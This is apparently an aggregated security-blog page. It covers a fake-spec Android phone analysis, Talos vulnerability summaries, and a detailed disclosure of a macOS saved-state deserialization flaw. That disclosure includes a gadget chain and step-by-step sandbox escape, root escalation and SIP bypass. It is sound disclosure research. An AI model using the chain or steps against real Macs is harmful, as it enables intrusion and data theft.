(/proc/meminfo)
ROM 512G 512G 512G 8G (pushing files until no space left on the device)
CPU MTK6799 10 cores MTK6799 10 cores MTK6799 MTK6753(/proc/cpuinfo)
Screen resolution 2320×1280 2320×1280 N/A 720×1520 (wm size)
Security patch N/A January 5, 2019 January 5, 2019 January 5, 2019

So the mystery of the phone is partially solved:

  • The fakers made changes in the sources of existing Android 6 environment.
  • They compiled this from the Java source code – we see it due to valid debug information existing in the smali code.
  • They added some build parameters which we can see in /system/build.prop and the outputs via adb, which define what exactly the customized Settings app should show to the user. The original parameters remained intact, so all the untouched framework works fine.  
  • Number of HW variants in the HdfUtil.java shows that this framework was probably used for faking other phones too.  
  • We can see that this is enough to fool the undemanding user, searching for a cheap Android 10 burner/regular phone. 

There are three mysteries left to address:

  • How exactly did they fool the CPU-Z application, which was not installed on the phone when it arrived?
  • Are there other similar phones, who is responsible for faking the specs, and can we find these phones automatically?
  • Is there another malware on the phone allowing the sellers to obtain remote access to the device?

Fooling The CPU-Z Application

After spending a some time tracing how exactly the android.os.Build.VERSION works, rooting the device (mtk-su works perfectly), going down to reversing the framework and its native part, it appears that it was more important to focus on how they display the fake data rather than how they get the version number and string.

It appears that they simply changed the code of the class android.widget.TextView to make it display the required fake values in specific applications. Sometimes, things are more simple than they appear to be. 

In order to verify that we should extract boot.oat from the device, convert it to dex files with oat2dex utility, and then decompile the resulting dex files.   

This is how it looks (the following code is from public final void setText(CharSequence var1) ) :

The main idea behind it is the following: if the name of the package is com.cpuid.cpu_z (which corresponds to the CPU-Z package name) and the previous string that was set with function is one of the faked parameters, the text is magically changing to the value encoded in the way similar to that was used in the Settings application based on the same build parameters that can be inspected with getprop.

Similar code snippets related to the following packages also found in this code:

  • com.antutu.ABenchMark
  • com.mediatek.camera
  • com.mediatek.filemanager
  • com.qiku.android.filebrowser
  • com.finalwire.aida64
  • com.ludashi.benchmark
  • ru.andr7e.deviceinfohw

This increases the suspicion that not only CPU-Z was fooled, but also other common applications to check for device specs / device benchmark.

After further analyzing various interesting code pieces, we decompiled all the framework and surprisingly found yet another interesting finding that shares light on how the fakers deal with other benchmarking / specs applications.

It appears that there is some suspicious activity in other classes of the specs-faking framework, specifically in the Package Manager. 

After reversing the Package Manager, it appears that in addition to fooling these applications the specs-fakers also fooled the Package manager with an interesting approach: instead of installing the APKs that were downloaded from Google Play, they used pre-stored and tampered copies from /system/data . Following a brief analysis we concluded that these APKs are not malicious. This change was made to assure that the version of the fake apps that they were dealing with was properly tested and displayed fake values. 

Finally, the authors blocked crashes reports of the Google Play protect in activity manager, and modified the shutdown animation according to ro.hdf.shutdown.ani parameter. 

Preinstalled malware and what it does

We will keep this for the next blog in the series.

Vulnerability Spotlight: Vulnerabilities in WWBN AVideo web app could lead to command injection, authentication bypass

16 August 2022 at 15:54



Claudio Bozzato of Cisco Talos discovered these vulnerabilities. Blog by Jon Munshaw. 

Cisco Talos recently discovered multiple vulnerabilities in the WWBN AVideo web application that could allow an attacker to carry out a wide range of malicious actions, including command injection and authentication bypass. 

AVideo is an open-source web application that allows users to build a video streaming and sharing platform. Anyone who joins the community can host videos on-demand, launch a live stream or encode different video formats. 

TALOS-2022-1542 (CVE-2022-32777 - CVE-2022-32778), TALOS-2022-1549 (CVE-2022-32761) and TALOS-2022-1550 (CVE-2022-28710) are information disclosure vulnerabilities that are triggered if an adversary sends the targeted instance a specially crafted HTTP packet. TALOS-2022-1550 and TALOS-2022-1549 could allow the adversary to read arbitrarily selected files, while TALOS-2022-1542 could allow them to steal the session cookie. 

Some of the most serious vulnerabilities discovered in this product are code injection issues. TALOS-2022-1546 (CVE-2022-30534), TALOS-2022-1551 (CVE-2022-33147 - CVE-2022-33149) and TALOS-2022-1548 (CVE-2022-32572) are triggered in a similar way, but instead could lead to arbitrary command execution. 

 That could allow an attacker to gain access to an administrator’s account: 

The app also contains three privilege escalation vulnerabilities: TALOS-2022-1534 (CVE-2022-29468), TALOS-2022-1535 (CVE-2022-30605) and TALOS-2022-1545 (CVE-2022-32282). An attacker could exploit TALOS-2022-1545 to log in with only a hashed version of a user’s password. TALOS-2022-1534 and TALOS-2022-1535 could be triggered if the attacker sends the user a specially crafted HTTP request. 

Cisco Talos worked with WWBN to coordinate disclosure and allow them to patch these vulnerabilities in adherence to Cisco’s vulnerability disclosure policy.

Talos tested and confirmed the following software is affected by these vulnerabilities: WWBN AVideo, version 11.6 and dev master commit 3f7c0364. 

The following SNORTⓇ rules will detect exploitation attempts against this vulnerability: 59993 – 59998, 60003 – 60006, 60071, 60072, 60079, 60080, 60145 – 60153, 60204, 60205 and 60208. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall Management Center or Snort.org. 

Vulnerability Spotlight: Three vulnerabilities in HDF5 file format could lead to remote code execution

16 August 2022 at 14:03



Dave McDaniel of Cisco Talos discovered these vulnerabilities. Blog by Jon Munshaw. 

Cisco Talos recently discovered three vulnerabilities in a library that works with the HDF5 file format that could allow an attacker to execute remote code on a targeted device. 

These issues arise in the libhdf5 gif2h5 tool that’s normally used to convert a GIF file to the HDF5 format, commonly used to store large amounts of numerical data. An attacker could exploit these vulnerabilities by tricking a user into opening a specially crafted, malicious file.

TALOS-2022-1485 (CVE-2022-25972) and TALOS-2022-1486 (CVE-2022-25942) are out-of-bounds write vulnerabilities in the gif2h5 tool that trigger a specific crash, opening the door for code execution from the adversary. TALOS-2022-1487 (CVE-2022-26061) works similarly but is a heap-based buffer overflow vulnerability. 

Cisco Talos is disclosing these vulnerabilities despite no official fix from HDF5 in adherence to the 90-day deadline outlined in Cisco’s vulnerability disclosure policy

Users are encouraged to update these affected products as soon as possible: HDF5 Group libhdf5, version 1.10.4. Talos tested and confirmed these versions of the library could be exploited by these vulnerabilities. 

The following Snort rules will detect exploitation attempts against this vulnerability: 59296, 59297, 59300, 59301, 59303 and 59304. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org. 

Smarter is not always wiser: How we hacked a smart payment terminal

Smart payment terminals can be vulnerable due to their expanded capabilities and the use of end-of-life OS, which result in a large attack surface. This post shares our experience hacking a popular smart point of sale device during an SRLabs retreat.

Raising the Bar in Application Security Verification

12 August 2022 at 21:27

Any organization that is looking to vet how software gets produced and validate it in terms of the security standard can now use the accreditation process and a family of accredited firms, such as VerSprite, to be able to evaluate whether or not the software passes a certain rigor of application security measures.

The post Raising the Bar in Application Security Verification appeared first on VerSprite.

PASTA Threat Modeling RACI Diagram

12 August 2022 at 19:42

RACI (Responsible – Accountable – Consulted – Informed) is a role distribution diagram used in PASTA threat modeling methodology. It helps companies adopt threat modeling, and leverage the roles within an organization and its InfoSec department. It is a clear visual to save your team time and resources.

The post PASTA Threat Modeling RACI Diagram appeared first on VerSprite.

Process injection: breaking all macOS security layers with a single vulnerability

12 August 2022 at 00:00

If you have created a new macOS app with Xcode 13.2, you may noticed this new method in the template:

- (BOOL)applicationSupportsSecureRestorableState:(NSApplication *)app {
	return YES;
}

This was added to the Xcode template to address a process injection vulnerability we reported!

In October 2021, Apple fixed CVE-2021-30873. This was a process injection vulnerability affecting (essentially) all macOS AppKit-based applications. We reported this vulnerability to Apple, along with methods to use this vulnerability to escape the sandbox, elevate privileges to root and bypass the filesystem restrictions of SIP. In this post, we will first describe what process injection is, then the details of this vulnerability and finally how we abused it.

This research was also published at Black Hat USA 2022 and DEF CON 30.

Process injection

Process injection is the ability for one process to execute code in a different process. In Windows, one reason this is used is to evade detection by antivirus scanners, for example by a technique known as DLL hijacking. This allows malicious code to pretend to be part of a different executable. In macOS, this technique can have significantly more impact than that due to the difference in permissions two applications can have.

In the classic Unix security model, each process runs as a specific user. Each file has an owner, group and flags that determine which users are allowed to read, write or execute that file. Two processes running as the same user have the same permissions: it is assumed there is no security boundary between them. Users are security boundaries, processes are not. If two processes are running as the same user, then one process could attach to the other as a debugger, allowing it to read or write the memory and registers of that other process. The root user is an exception, as it has access to all files and processes. Thus, root can always access all data on the computer, whether on disk or in RAM.

This was, in essence, the same security model as macOS until the introduction of SIP, also known as “rootless”. This name doesn’t mean that there is no root user anymore, but it is now less powerful on its own. For example, certain files can no longer be read by the root user unless the process also has specific entitlements. Entitlements are metadata that is included when generating the code signature for an executable. Checking if a process has a certain entitlement is an essential part of many security measures in macOS. The Unix ownership rules are still present, this is an additional layer of permission checks on top of them. Certain sensitive files (e.g. the Mail.app database) and features (e.g. the webcam) are no longer possible with only root privileges but require an additional entitlement. In other words, privilege escalation is not enough to fully compromise the sensitive data on a Mac.

For example, using the following command we can see the entitlements of Mail.app:

$ codesign -dvvv --entitlements - /System/Applications/Mail.app

In the output, we see the following entitlement:

...
	[Key] com.apple.rootless.storage.Mail
	[Value]
		[Bool] true
...

This is what grants Mail.app the permission to read the SIP protected mail database, while other malware will not be able to read it.

Aside from entitlements, there are also the permissions handled by Transparency, Consent and Control (TCC). This is the mechanism by which applications can request access to, for example, the webcam, microphone and (in recent macOS versions) also files such as those in the Documents and Download folders. This means that even applications that do not use the Mac Application sandbox might not have access to certain features or files.

Of course entitlements and TCC permissions would be useless if any process can just attach as a debugger to another process of the same user. If one application has access to the webcam, but the other doesn’t, then one process could attach as a debugger to the other process and inject some code to steal the webcam video. To fix this, the ability to debug other applications has been heavily restricted.

Changing a security model that has been used for decades to a more restrictive model is difficult, especially in something as complicated as macOS. Attaching debuggers is just one example, there are many similar techniques that could be used to inject code into a different process. Apple has squashed many of these techniques, but many other ones are likely still undiscovered.

Aside from Apple’s own code, these vulnerabilities could also occur in third-party software. It’s quite common to find a process injection vulnerability in a specific application, which means that the permissions (TCC permissions and entitlements) of that application are up for grabs for all other processes. Getting those fixed is a difficult process, because many third-party developers are not familiar with this new security model. Reporting these vulnerabilities often requires fully explaining this new model! Especially Electron applications are infamous for being easy to inject into, as it is possible to replace their JavaScript files without invalidating the code signature.

More dangerous than a process injection vulnerability in one application is a process injection technique that affects multiple, or even all, applications. This would give access to a large number of different entitlements and TCC permissions. A generic process injection vulnerability affecting all applications is a very powerful tool, as we’ll demonstrate in this post.

The saved state vulnerability

When shutting down a Mac, it will prompt you to ask if the currently open windows should be reopened the next time you log in. This is a part of functionally called “saved state” or “persistent UI”.

When reopening the windows, it can even restore new documents that were not yet saved in some applications.

It is used in more places than just at shutdown. For example, it is also used for a feature called App Nap. When application has been inactive for a while (has not been the focused application, not playing audio, etc.), then the system can tell it to save its state and terminates the process. macOS keeps showing a static image of the application’s windows and in the Dock it still appears to be running, while it is not. When the user switches back to the application, it is quickly launched and resumes its state. Internally, this also uses the same saved state functionality.

When building an application using AppKit, support for saving the state is for a large part automatic. In some cases the application needs to include its own objects in the saved state to ensure the full state can be recovered, for example in a document-based application.

Each time an application loses focus, it writes to the files:

~/Library/Saved Application State/<Bundle ID>.savedState/windows.plist
~/Library/Saved Application State/<Bundle ID>.savedState/data.data

The windows.plist file contains a list of all of the application’s open windows. (And some other things that don’t look like windows, such as the menu bar and the Dock menu.)

For example, a windows.plist for TextEdit.app could look like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
	<dict>
		<key>MenuBar AvailableSpace</key>
		<real>1248</real>
		<key>NSDataKey</key>
		<data>
		Ay1IqBriwup4bKAanpWcEw==
		</data>
		<key>NSIsMainMenuBar</key>
		<true/>
		<key>NSWindowID</key>
		<integer>1</integer>
		<key>NSWindowNumber</key>
		<integer>5978</integer>
	</dict>
	<dict>
		<key>NSDataKey</key>
		<data>
		5lyzOSsKF24yEcwAKTBSVw==
		</data>
		<key>NSDragRegion</key>
		<data>
		AAAAgAIAAADAAQAABAAAAAMAAABHAgAAxgEAAAoAAAADAAAABwAAABUAAAAb
		AAAAKQAAAC8AAAA9AAAARwIAAMcBAAAMAAAAAwAAAAcAAAAVAAAAGwAAACkA
		AAAvAAAAPQAAAAkBAABLAQAARwIAANABAAAKAAAAFQAAABsAAAApAAAALwAA
		AD0AAAAJAQAASwEAAD4CAADWAQAABgAAAAwAAAAJAQAASwEAAD4CAADXAQAA
		BAAAAAwAAAA+AgAA2QEAAAIAAAD///9/
		</data>
		<key>NSTitle</key>
		<string>Untitled</string>
		<key>NSUIID</key>
		<string>_NS:34</string>
		<key>NSWindowCloseButtonFrame</key>
		<string>{{7, 454}, {14, 16}}</string>
		<key>NSWindowFrame</key>
		<string>177 501 586 476 0 0 1680 1025 </string>
		<key>NSWindowID</key>
		<integer>2</integer>
		<key>NSWindowLevel</key>
		<integer>0</integer>
		<key>NSWindowMiniaturizeButtonFrame</key>
		<string>{{27, 454}, {14, 16}}</string>
		<key>NSWindowNumber</key>
		<integer>5982</integer>
		<key>NSWindowWorkspaceID</key>
		<string></string>
		<key>NSWindowZoomButtonFrame</key>
		<string>{{47, 454}, {14, 16}}</string>
	</dict>
	<dict>
		<key>CFBundleVersion</key>
		<string>378</string>
		<key>NSDataKey</key>
		<data>
		P7BYxMryj6Gae9Q76wpqVw==
		</data>
		<key>NSDockMenu</key>
		<array>
			<dict>
				<key>command</key>
				<integer>1</integer>
				<key>mark</key>
				<integer>2</integer>
				<key>name</key>
				<string>Untitled</string>
				<key>system-icon</key>
				<integer>1735879022</integer>
				<key>tag</key>
				<integer>2</integer>
			</dict>
			<dict>
				<key>separator</key>
				<true/>
			</dict>
			<dict>
				<key>command</key>
				<integer>2</integer>
				<key>indent</key>
				<integer>0</integer>
				<key>name</key>
				<string>New Document</string>
				<key>tag</key>
				<integer>0</integer>
			</dict>
		</array>
		<key>NSExecutableInode</key>
		<integer>1152921500311961010</integer>
		<key>NSIsGlobal</key>
		<true/>
		<key>NSSystemAppearance</key>
		<data>
		YnBsaXN0MDDUAQIDBAUGBwpYJHZlcnNpb25ZJGFyY2hpdmVyVCR0b3BYJG9i
		amVjdHMSAAGGoF8QD05TS2V5ZWRBcmNoaXZlctEICVRyb290gAGkCwwRElUk
		bnVsbNINDg8QViRjbGFzc18QEE5TQXBwZWFyYW5jZU5hbWWAA4ACXxAUTlNB
		cHBlYXJhbmNlTmFtZUFxdWHSExQVFlokY2xhc3NuYW1lWCRjbGFzc2VzXE5T
		QXBwZWFyYW5jZaIVF1hOU09iamVjdAgRGiQpMjdJTFFTWF5jan1/gZidqLG+
		wQAAAAAAAAEBAAAAAAAAABgAAAAAAAAAAAAAAAAAAADK
		</data>
		<key>NSSystemVersion</key>
		<array>
			<integer>12</integer>
			<integer>2</integer>
			<integer>1</integer>
		</array>
		<key>NSWindowID</key>
		<integer>4294967295</integer>
		<key>NSWindowZOrder</key>
		<array>
			<integer>5982</integer>
		</array>
	</dict>
</array>
</plist>

The data.data file contains a custom binary format. It consists of a list of records, each record contains an AES-CBC encrypted serialized object. The windows.plist file contains the key (NSDataKey) and a ID (NSWindowID) for the record from data.data it corresponds to.1

For example:

00000000  4e 53 43 52 31 30 30 30  00 00 00 01 00 00 01 b0  |NSCR1000........|
00000010  ec f2 26 b9 8b 06 c8 d0  41 5d 73 7a 0e cc 59 74  |..&.....A]sz..Yt|
00000020  89 ac 3d b3 b6 7a ab 1b  bb f7 84 0c 05 57 4d 70  |..=..z.......WMp|
00000030  cb 55 7f ee 71 f8 8b bb  d4 fd b0 c6 28 14 78 23  |.U..q.......(.x#|
00000040  ed 89 30 29 92 8c 80 bf  47 75 28 50 d7 1c 9a 8a  |..0)....Gu(P....|
00000050  94 b4 d1 c1 5d 9e 1a e0  46 62 f5 16 76 f5 6f df  |....]...Fb..v.o.|
00000060  43 a5 fa 7a dd d3 2f 25  43 04 ba e2 7c 59 f9 e8  |C..z../%C...|Y..|
00000070  a4 0e 11 5d 8e 86 16 f0  c5 1d ac fb 5c 71 fd 9d  |...]........\q..|
00000080  81 90 c8 e7 2d 53 75 43  6d eb b6 aa c7 15 8b 1a  |....-SuCm.......|
00000090  9c 58 8f 19 02 1a 73 99  ed 66 d1 91 8a 84 32 7f  |.X....s..f....2.|
000000a0  1f 5a 1e e8 ae b3 39 a8  cf 6b 96 ef d8 7b d1 46  |.Z....9..k...{.F|
000000b0  0c e2 97 d5 db d4 9d eb  d6 13 05 7d e0 4a 89 a4  |...........}.J..|
000000c0  d0 aa 40 16 81 fc b9 a5  f5 88 2b 70 cd 1a 48 94  |[email protected]+p..H.|
000000d0  47 3d 4f 92 76 3a ee 34  79 05 3f 5d 68 57 7d b0  |G=O.v:.4y.?]hW}.|
000000e0  54 6f 80 4e 5b 3d 53 2a  6d 35 a3 c9 6c 96 5f a5  |To.N[=S*m5..l._.|
000000f0  06 ec 4c d3 51 b9 15 b8  29 f0 25 48 2b 6a 74 9f  |..L.Q...).%H+jt.|
00000100  1a 5b 5e f1 14 db aa 8d  13 9c ef d6 f5 53 f1 49  |.[^..........S.I|
00000110  4d 78 5a 89 79 f8 bd 68  3f 51 a2 a4 04 ee d1 45  |MxZ.y..h?Q.....E|
00000120  65 ba c4 40 ad db e3 62  55 59 9a 29 46 2e 6c 07  |[email protected])F.l.|
00000130  34 68 e9 00 89 15 37 1c  ff c8 a5 d8 7c 8d b2 f0  |4h....7.....|...|
00000140  4b c3 26 f9 91 f8 c4 2d  12 4a 09 ba 26 1d 00 13  |K.&....-.J..&...|
00000150  65 ac e7 66 80 c0 e2 55  ec 9a 8e 09 cb 39 26 d4  |e..f...U.....9&.|
00000160  c8 15 94 d8 2c 8b fa 79  5f 62 18 39 f0 a5 df 0b  |....,..y_b.9....|
00000170  3d a4 5c bc 30 d5 2b cc  08 88 c8 49 d6 ab c0 e1  |=.\.0.+....I....|
00000180  c1 e5 41 eb 3e 2b 17 80  c4 01 64 3d 79 be 82 aa  |..A.>+....d=y...|
00000190  3d 56 8d bb e5 7a ea 89  0f 4c dc 16 03 e9 2a d8  |=V...z...L....*.|
000001a0  c5 3e 25 ed c2 4b 65 da  8a d9 0d d9 23 92 fd 06  |.>%..Ke.....#...|
[...]

Whenever an application is launched, AppKit will read these files and restore the windows of the application. This happens automatically, without the app needing to implement anything. The code for reading these files is quite careful: if the application crashed, then maybe the state is corrupted too. If the application crashes while restoring the state, then the next time the state is discarded and it does a fresh start.

The vulnerability we found is that the encrypted serialized object stored in the data.data file was not using “secure coding”. To explain what that means, we’ll first explain serialization vulnerabilities, in particular on macOS.

Serialized objects

Many object-oriented programming languages have added support for binary serialization, which turns an object into a bytestring and back. Contrary to XML and JSON, these are custom, language specific formats. In some programming languages, serialization support for classes is automatic, in other languages classes can opt-in.

In many of those languages these features have lead to vulnerabilities. The problem in many implementations is that an object is created first, and then its type is checked. Methods may be called on these objects when creating or destroying them. By combining objects in unusual ways, it is sometimes possible to gain remote code execution when a malicious object is deserialized. It is, therefore, not a good idea to use these serialization functions for any data that might be received over the network from an untrusted party.

For Python pickle and Ruby Marshall.load remote code execution is straightforward. In Java ObjectInputStream.readObject and C#, RCE is possible if certain commonly used libraries are used. The ysoserial and ysoserial.net tools can be used to generate a payload depending on the libraries in use. In PHP, exploitability for RCE is rare.

Objective-C serialization

In Objective-C, classes can implement the NSCoding protocol to be serializable. Subclasses of NSCoder, such as NSKeyedArchiver and NSKeyedUnarchiver, can be used to serialize and deserialize these objects.

How this works in practice is as follows. A class that implements NSCoding must include a method:

- (id)initWithCoder:(NSCoder *)coder;

In this method, this object can use coder to decode its instance variables, using methods such as -decodeObjectForKey:, -decodeIntegerForKey:, -decodeDoubleForKey:, etc. When it uses -decodeObjectForKey:, the coder will recursively call -initWithCoder: on that object, eventually decoding the entire graph of objects.

Apple has also realized the risk of deserializing untrusted input, so in 10.8, the NSSecureCoding protocol was added. The documentation for this protocol states:

A protocol that enables encoding and decoding in a manner that is robust against object substitution attacks.

This means that instead of creating an object first and then checking its type, a set of allowed classes needs to be included when decoding an object.

So instead of the unsafe construction:

id obj = [decoder decodeObjectForKey:@"myKey"];
if (![obj isKindOfClass:[MyClass class]]) { /* ...fail... */ }

The following must be used:

id obj = [decoder decodeObjectOfClass:[MyClass class] forKey:@"myKey"];

This means that when a secure coder is created, -decodeObjectForKey: is no longer allowed, but -decodeObjectOfClass:forKey: must be used.

That makes exploitable vulnerabilities significantly harder, but it could still happen. One thing to note here is that subclasses of the specified class are allowed. If, for example, the NSObject class is specified, then all classes implementing NSCoding are still allowed. If only NSDictionary are expected and an imported framework contains a rarely used and vulnerable subclass of NSDictionary, then this could also create a vulnerability.

In all of Apple’s operating systems, these serialized objects are used all over the place, often for inter-process exchange of data. For example, NSXPCConnection heavily relies on secure serialization for implementing remote method calls. In iMessage, these serialized objects are even exchanged with other users over the network. In such cases it is very important that secure coding is always enabled.

Creating a malicious serialized object

In the data.data file for saved states, objects were stored using an NSKeyedArchiver without secure coding enabled. This means we could include objects of any class that implements the NSCoding protocol. The likely reason for this is that applications can extend the saved state with their own objects, and because the saved state functionality is older than NSSecureCoding, Apple couldn’t just upgrade this to secure coding, as this could break third-party applications.

To exploit this, we wanted a method for constructing a chain of objects that could allows us to execute arbitrary code. However, no project similar to ysoserial for Objective-C appears to exist and we could not find other examples of abusing insecure deserialization in macOS. In Remote iPhone Exploitation Part 1: Poking Memory via iMessage and CVE-2019-8641 Samuel Groß of Google Project Zero describes an attack against a secure coder by abusing a vulnerability in NSSharedKeyDictionary, an uncommon subclass of NSDictionary. As this vulnerability is now fixed, we couldn’t use this.

By decompiling a large number of -initWithCoder: methods in AppKit, we eventually found a combination of 2 objects that we could use to call arbitrary Objective-C methods on another deserialized object.

We start with NSRuleEditor. The -initWithCoder: method of this class creates a binding to an object from the same archive with a key path also obtained from the archive.

Bindings are a reactive programming technique in Cocoa. It makes it possible to directly bind a model to a view, without the need for the boilerplate code of a controller. Whenever a value in the model changes, or the user makes a change in the view, the changes are automatically propagated.

A binding is created calling the method:

- (void)bind:(NSBindingName)binding 
    toObject:(id)observable 
 withKeyPath:(NSString *)keyPath 
     options:(NSDictionary<NSBindingOption, id> *)options;

This binds the property binding of the receiver to the keyPath of observable. A keypath a string that can be used, for example, to access nested properties of the object. But the more common method for creating bindings is by creating them as part of a XIB file in Xcode.

For example, suppose the model is a class Person, which has a property @property (readwrite, copy) NSString *name;. Then you could bind the “value” of a text field to the “name” keypath of a Person to create a field that shows (and can edit) the person’s name.

In the XIB editor, this would be created as follows:

The different options for what a keypath can mean are actually quite complicated. For example, when binding with a keypath of “foo”, it would first check if one the methods getFoo, foo, isFoo and _foo exists. This would usually be used to access a property of the object, but this is not required. When a binding is created, the method will be called immediately when creating the binding, to provide an initial value. It does not matter if that method actually returns void. This means that by creating a binding during deserialization, we can use this to call zero-argument methods on other deserialized objects!

ID NSRuleEditor::initWithCoder:(ID param_1,SEL param_2,ID unarchiver)
{
	...

	id arrayOwner = [unarchiver decodeObjectForKey:@"NSRuleEditorBoundArrayOwner"];

	...

	if (arrayOwner) {
	  keyPath = [unarchiver decodeObjectForKey:@"NSRuleEditorBoundArrayKeyPath"];
	  [self bind:@"rows" toObject:arrayOwner withKeyPath:keyPath options:nil];
	}

	...
}

In this case we use it to call -draw on the next object.

The next object we use is an NSCustomImageRep object. This obtains a selector (a method name) as a string and an object from the archive. When the -draw method is called, it invokes the method from the selector on the object. It passes itself as the first argument:


ID NSCustomImageRep::initWithCoder:(ID param_1,SEL param_2,ID unarchiver)
{
	...
	id drawObject = [unarchiver decodeObjectForKey:@"NSDrawObject"];
	self.drawObject = drawObject;
	id drawMethod = [unarchiver decodeObjectForKey:@"NSDrawMethod"];
	SEL selector = NSSelectorFromString(drawMethod);
	self.drawMethod = selector;
	...
}

...

void ___24-[NSCustomImageRep_draw]_block_invoke(long param_1)
{
  ...
  [self.drawObject performSelector:self.drawMethod withObject:self];
  ...
}

By deserializing these two classes we can now call zero-argument methods and multiple argument methods, although the first argument will be an NSCustomImageRep object and the remaining arguments will be whatever happens to still be in those registers. Nevertheless, is a very powerful primitive. We’ll cover the rest of the chain we used in a future blog post.

Exploitation

Sandbox escape

First of all, we escaped the Mac Application sandbox with this vulnerability. To explain that, some more background on the saved state is necessary.

In a sandboxed application, many files that would be stored in ~/Library are stored in a separate container instead. So instead of saving its state in:

~/Library/Saved Application State/<Bundle ID>.savedState/

Sandboxed applications save their state to:

~/Library/Containers/<Bundle ID>/Data/Library/Saved Application State/<Bundle ID>.savedState/

Apparently, when the system is shut down while an application is still running (when the prompt is shown asking the user whether to reopen the windows the next time), the first location is symlinked to the second one by talagent. We are unsure of why, it might have something to do with upgrading an application to a new version which is sandboxed.

Secondly, most applications do not have access to all files. Sandboxed applications are very restricted of course, but with the addition of TCC even accessing the Downloads, Documents, etc. folders require user approval. If the application would open an open or save panel, it would be quite inconvenient if the user could only see the files that that application has access to. To solve this, a different process is launched when opening such a panel: com.apple.appkit.xpc.openAndSavePanelService. Even though the window itself is part of the application, its contents are drawn by openAndSavePanelService. This is an XPC service which has full access to all files. When the user selects a file in the panel, the application gains temporary access to that file. This way, users can still browse their entire disk even in applications that do not have permission to list those files.

As it is an XPC service with service type Application, it is launched separately for each app.

What we noticed is that this XPC Service reads its saved state, but using the bundle ID of the app that launched it! As this panel might be part of the saved state of multiple applications, it does make some sense that it would need to separate its state per application.

As it turns out, it reads its saved state from the location outside of the container, but with the application’s bundle ID:

~/Library/Saved Application State/<Bundle ID>.savedState/

But as we mentioned if the app was ever open when the user shut down their computer, then this will be a symlink to the container path.

Thus, we can escape the sandbox in the following way:

  1. Wait for the user to shut down while the app is open, if the symlink does not yet exist.
  2. Write malicious data.data and windows.plist files inside the app’s own container.
  3. Open an NSOpenPanel or NSSavePanel.

The com.apple.appkit.xpc.openAndSavePanelService process will now deserialize the malicious object, giving us code execution in a non-sandboxed process.

This was fixed earlier than the other issues, as CVE-2021-30659 in macOS 11.3. Apple addressed this by no longer loading the state from the same location in com.apple.appkit.xpc.openAndSavePanelService.

Privilege escalation

By injecting our code into an application with a specific entitlement, we can elevate our privileges to root. For this, we could apply the technique explained by A2nkF in Unauthd - Logic bugs FTW.

Some applications have an entitlement of com.apple.private.AuthorizationServices containing the value system.install.apple-software. This means that this application is allowed to install packages that have a signature generated by Apple without authorization from the user. For example, “Install Command Line Developer Tools.app” and “Bootcamp Assistant.app” have this entitlement. A2nkF also found a package signed by Apple that contains a vulnerability: macOSPublicBetaAccessUtility.pkg. When this package is installed to a specific disk, it will run (as root) a post-install script from that disk. The script assumes it is being installed to a disk containing macOS, but this is not checked. Therefore, by creating a malicious script at the same location it is possible to execute code as root by installing this package.

The exploitation steps are as follows:

  1. Create a RAM disk and copy a malicious script to the path that will be executed by macOSPublicBetaAccessUtility.pkg.
  2. Inject our code into an application with the com.apple.private.AuthorizationServices entitlement containing system.install.apple-software by creating the windows.plist and data.data files for that application and then launching it.
  3. Use the injected code to install the macOSPublicBetaAccessUtility.pkg package to the RAM disk.
  4. Wait for the post-install script to run.

In the writeup from A2nkF, the post-install script ran without the filesystem restrictions of SIP. It inherited this from the installation process, which needs it as package installation might need to write to SIP protected locations. This was fixed by Apple: post- and pre-install scripts are no longer SIP exempt. The package and its privilege escalation can still be used, however, as Apple still uses the same vulnerable installer package.

SIP filesystem bypass

Now that we have escaped the sandbox and elevated our privileges to root, we did want to bypass SIP as well. To do this, we looked around at all available applications to find one with a suitable entitlement. Eventually, we found something on the macOS Big Sur Beta installation disk image: “macOS Update Assistant.app” has the com.apple.rootless.install.heritable entitlement. This means that this process can write to all SIP protected locations (and it is heritable, which is convenient because we can just spawn a shell). Although it is supposed to be used only during the beta installation, we can just copy it to a normal macOS environment and run it there.

The exploitation for this is quite simple:

  1. Create malicious windows.plist and data.data files for “macOS Update Assistant.app”.
  2. Launch “macOS Update Assistant.app”.

When exempt from SIP’s filesystem restrictions, we can read all files from protected locations, such as the user’s Mail.app mailbox. We can also modify the TCC database, which means we can grant ourselves permission to access the webcam, microphone, etc. We could also persist our malware on locations which are protected by SIP, making it very difficult to remove by anyone other than Apple. Finally, we can change the database of approved kernel extensions. This means that we could load a new kernel extension silently, without user approval. When combined with a vulnerable kernel extension (or a codesigning certificate that allows signing kernel extensions), we would have been able to gain kernel code execution, which would allow disabling all other restrictions too.

Demo

We recorded the following video to demonstrate the different steps. It first shows that the application “Sandbox” is sandboxed, then it escapes its sandbox and launches “Privesc”. This elevates privileges to root and launches “SIP Bypass”. Finally, this opens a reverse shell that is exempt from SIP’s filesystem restrictions, which is demonstrated by writing a file in /var/db/SystemPolicyConfiguration (the location where the database of approved kernel modules is stored):

The fix

Apple first fixed the sandbox escape in 11.3, by no longer reading the saved state of the application in com.apple.appkit.xpc.openAndSavePanelService (CVE-2021-30659).

Fixing the rest of the vulnerability was more complicated. Third-party applications may store their own objects in the saved state and these objects might not support secure coding. This brings us back to the method from the introduction: -applicationSupportsSecureRestorableState:. Applications can now opt-in to requiring secure coding for their saved state by returning TRUE from this method. Unless an app opts in, it will keep allowing non-secure coding, which means process injection might remain possible.

This does highlight one issue with the current design of these security measures: downgrade attacks. The code signature (and therefore entitlements) of an application will remain valid for a long time, and the TCC permissions of an application will still work if the application is downgraded. A non-sandboxed application could just silently download an older, vulnerable version of an application and exploit that. For the SIP bypass this would not work, as “macOS Update Assistant.app” does not run on macOS Monterey because certain private frameworks no longer contain the necessary symbols. But that is a coincidental fix, in many other cases older applications may still run fine. This vulnerability will therefore be present for as long as there is backwards compatibility with older macOS applications!

Nevertheless, if you write an Objective-C application, please make sure you add -applicationSupportsSecureRestorableState: to return TRUE and to adapt secure coding for all classes used for your saved states!

Conclusion

